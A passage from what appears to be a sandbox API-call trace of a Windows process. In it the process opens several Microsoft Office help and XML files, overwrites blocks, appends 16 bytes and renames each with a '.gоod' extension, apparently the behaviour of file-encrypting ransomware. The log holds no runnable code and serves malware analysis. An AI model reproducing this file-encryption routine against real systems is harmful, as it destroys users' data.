lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0244.909] CloseHandle (hObject=0x858) returned 1 [0244.909] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", lpFilePart=0x0) returned 0x3e [0244.909] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS.gоod", lpFilePart=0x0) returned 0x43 [0244.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0244.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x38d65f7, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x38d65f7, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8e317606, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b7c8)) returned 1 [0244.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0244.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs.gоod")) returned 1 [0244.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", lpFilePart=0x0) returned 0x42 [0244.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0244.910] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), fInfoLevelId=0x0, lpFileInformation=0x3b39268 | out: lpFileInformation=0x3b39268*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b8506c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3b8506c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x482f84d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x215ae)) returned 1 [0244.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0244.911] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", lpFilePart=0x0) returned 0x42 [0244.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0244.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0244.911] GetFileType (hFile=0x858) returned 0x1 [0244.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0244.911] GetFileType (hFile=0x858) returned 0x1 [0244.911] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0244.911] ReadFile (in: hFile=0x858, lpBuffer=0x3b39670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3b39670*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0245.059] CloseHandle (hObject=0x858) returned 1 [0245.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", lpFilePart=0x0) returned 0x42 [0245.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0245.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.059] GetFileType (hFile=0x858) returned 0x1 [0245.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0245.059] GetFileType (hFile=0x858) returned 0x1 [0245.059] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x215ae [0245.059] WriteFile (in: hFile=0x858, lpBuffer=0x3d2f428*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3d2f428*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0245.201] CloseHandle (hObject=0x858) returned 1 [0245.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", lpFilePart=0x0) returned 0x42 [0245.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0245.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.201] GetFileType (hFile=0x858) returned 0x1 [0245.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0245.201] GetFileType (hFile=0x858) returned 0x1 [0245.201] ReadFile (in: hFile=0x858, lpBuffer=0x3e968c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3e968c8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0245.442] CloseHandle (hObject=0x858) returned 1 [0245.442] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", lpFilePart=0x0) returned 0x42 [0245.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0245.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.442] GetFileType (hFile=0x858) returned 0x1 [0245.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0245.442] GetFileType (hFile=0x858) returned 0x1 [0245.442] WriteFile (in: hFile=0x858, lpBuffer=0x36eda48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x36eda48*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0245.442] CloseHandle (hObject=0x858) returned 1 [0245.442] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", lpFilePart=0x0) returned 0x42 [0245.442] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS.gоod", lpFilePart=0x0) returned 0x47 [0245.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0245.443] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b8506c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3b8506c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8e828684, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x215be)) returned 1 [0245.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0245.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs.gоod")) returned 1 [0245.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", lpFilePart=0x0) returned 0x42 [0245.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0245.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), fInfoLevelId=0x0, lpFileInformation=0x37f7430 | out: lpFileInformation=0x37f7430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x290acd1, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x290acd1, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4855a5d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4b7ac)) returned 1 [0245.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0245.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", lpFilePart=0x0) returned 0x42 [0245.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0245.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.445] GetFileType (hFile=0x858) returned 0x1 [0245.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0245.445] GetFileType (hFile=0x858) returned 0x1 [0245.445] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0245.445] ReadFile (in: hFile=0x858, lpBuffer=0x37f7838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x37f7838*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0245.446] CloseHandle (hObject=0x858) returned 1 [0245.446] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", lpFilePart=0x0) returned 0x42 [0245.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0245.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.446] GetFileType (hFile=0x858) returned 0x1 [0245.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0245.446] GetFileType (hFile=0x858) returned 0x1 [0245.446] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x4b7ac [0245.447] WriteFile (in: hFile=0x858, lpBuffer=0x37f8ca0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x37f8ca0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0245.447] CloseHandle (hObject=0x858) returned 1 [0245.448] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", lpFilePart=0x0) returned 0x42 [0245.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0245.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.448] GetFileType (hFile=0x858) returned 0x1 [0245.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0245.448] GetFileType (hFile=0x858) returned 0x1 [0245.448] ReadFile (in: hFile=0x858, lpBuffer=0x37faf58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x37faf58*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0245.467] SleepEx (dwMilliseconds=0x2, bAlertable=0) returned 0x0 [0245.617] CloseHandle (hObject=0x858) returned 1 [0245.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", lpFilePart=0x0) returned 0x42 [0245.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0245.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.617] GetFileType (hFile=0x858) returned 0x1 [0245.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0245.617] GetFileType (hFile=0x858) returned 0x1 [0245.617] WriteFile (in: hFile=0x858, lpBuffer=0x37f9cb8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x37f9cb8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0245.618] CloseHandle (hObject=0x858) returned 1 [0245.618] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", lpFilePart=0x0) returned 0x42 [0245.618] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS.gоod", lpFilePart=0x0) returned 0x47 [0245.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0245.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x290acd1, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x290acd1, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8e9cc00f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b7bc)) returned 1 [0245.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0245.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs.gоod")) returned 1 [0245.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML", lpFilePart=0x0) returned 0x41 [0245.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0245.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml"), fInfoLevelId=0x0, lpFileInformation=0x3764b38 | out: lpFileInformation=0x3764b38*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4855a5d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x579)) returned 1 [0245.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0245.621] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML", lpFilePart=0x0) returned 0x41 [0245.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0245.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.621] GetFileType (hFile=0x858) returned 0x1 [0245.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0245.621] GetFileType (hFile=0x858) returned 0x1 [0245.621] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x579 [0245.621] ReadFile (in: hFile=0x858, lpBuffer=0x3765380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3765380*, lpNumberOfBytesRead=0x1f59dd38*=0x579, lpOverlapped=0x0) returned 1 [0245.622] CloseHandle (hObject=0x858) returned 1 [0245.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML", lpFilePart=0x0) returned 0x41 [0245.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0245.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.775] GetFileType (hFile=0x858) returned 0x1 [0245.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0245.776] GetFileType (hFile=0x858) returned 0x1 [0245.776] WriteFile (in: hFile=0x858, lpBuffer=0x3778ed0*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3778ed0*, lpNumberOfBytesWritten=0x1f59dc48*=0x580, lpOverlapped=0x0) returned 1 [0245.776] CloseHandle (hObject=0x858) returned 1 [0245.776] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML", lpFilePart=0x0) returned 0x41 [0245.776] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML.gоod", lpFilePart=0x0) returned 0x46 [0245.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0245.776] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8eb49970, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x580)) returned 1 [0245.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0245.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml.gоod")) returned 1 [0245.778] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", lpFilePart=0x0) returned 0x40 [0245.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0245.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), fInfoLevelId=0x0, lpFileInformation=0x377a198 | out: lpFileInformation=0x377a198*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b580a61, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b580a61, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x5eeb8)) returned 1 [0245.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0245.778] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", lpFilePart=0x0) returned 0x40 [0245.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0245.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.778] GetFileType (hFile=0x858) returned 0x1 [0245.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0245.779] GetFileType (hFile=0x858) returned 0x1 [0245.779] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, 